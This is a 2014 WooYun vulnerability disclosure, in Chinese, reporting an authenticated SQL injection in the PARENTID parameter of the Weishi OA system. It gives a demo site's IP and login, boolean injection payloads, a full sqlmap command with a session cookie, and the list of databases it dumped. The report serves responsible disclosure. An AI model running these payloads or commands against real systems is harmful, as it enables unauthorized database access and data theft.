当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-066739

漏洞标题：威实oa存在sql注入

相关厂商：威实oa

漏洞作者： 路人甲

提交时间：2014-07-03 10:39

修复时间：2014-10-01 10:40

公开时间：2014-10-01 10:40

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：5

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-07-03： 细节已通知厂商并且等待厂商处理中
2014-07-08： 厂商已经确认，细节仅向厂商公开
2014-07-11： 细节向第三方安全合作伙伴开放
2014-09-01： 细节向核心白帽子及相关领域专家公开
2014-09-11： 细节向普通白帽子公开
2014-09-21： 细节向实习白帽子公开
2014-10-01： 细节向公众公开

简要描述：

威实oa存在注入

详细说明：

官网

http://www.wishtech.com.cn/


案例好牛逼 - -!!

http://www.wishtech.com.cn/aboutus/custemers.shtml


demo测试站

http://210.56.192.102


用户名： demo      密码：123


存在注入 不过是需要登录
发现一枚注入
地址

http://210.56.192.102/qwareinfo/oa/pubinfo/document/mydoc.json?_dc=1404109910298


参数PARENTID存在注入
提交参数

start=0&limit=100&actionName=getFolderFiles&PARENTID=1


715.png


提交

start=0&limit=100&actionName=getFolderFiles&PARENTID=1' and '1'='1


716.png


提交

start=0&limit=100&actionName=getFolderFiles&PARENTID=1' and '1'='2


717.png


sa权限 

[root@Hacker~]# Sqlmap -u "http://210.56.192.102/qwareinfo/oa/pubinfo/document/mydoc.json?_dc=1404109910298" --data "start=0&limit=100&actionName=getFolderFiles&PARENTID=1" -p "PARENTID" --cookie "JSESSIONID=59C24C2B85ED5E0CDC44A9CF48226974" --dbs


available databases [12]:
[*] CUSTOMER
[*] ENG_S3
[*] ENG_STABLE
[*] master
[*] model
[*] msdb
[*] OA
[*] OA_8888
[*] OA_INDUSTRY_ENG
[*] OABAK
[*] tempdb


漏洞证明：

漏洞证明如上

修复方案：

对参数进行处理

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2014-07-08 08:26

厂商回复：

CNVD确认所述DEMO站情况，由于需要认证前提，暂未能确认实例通用性，暂未列入处置流程。先行确认，待厂商认领。

最新状态：

暂无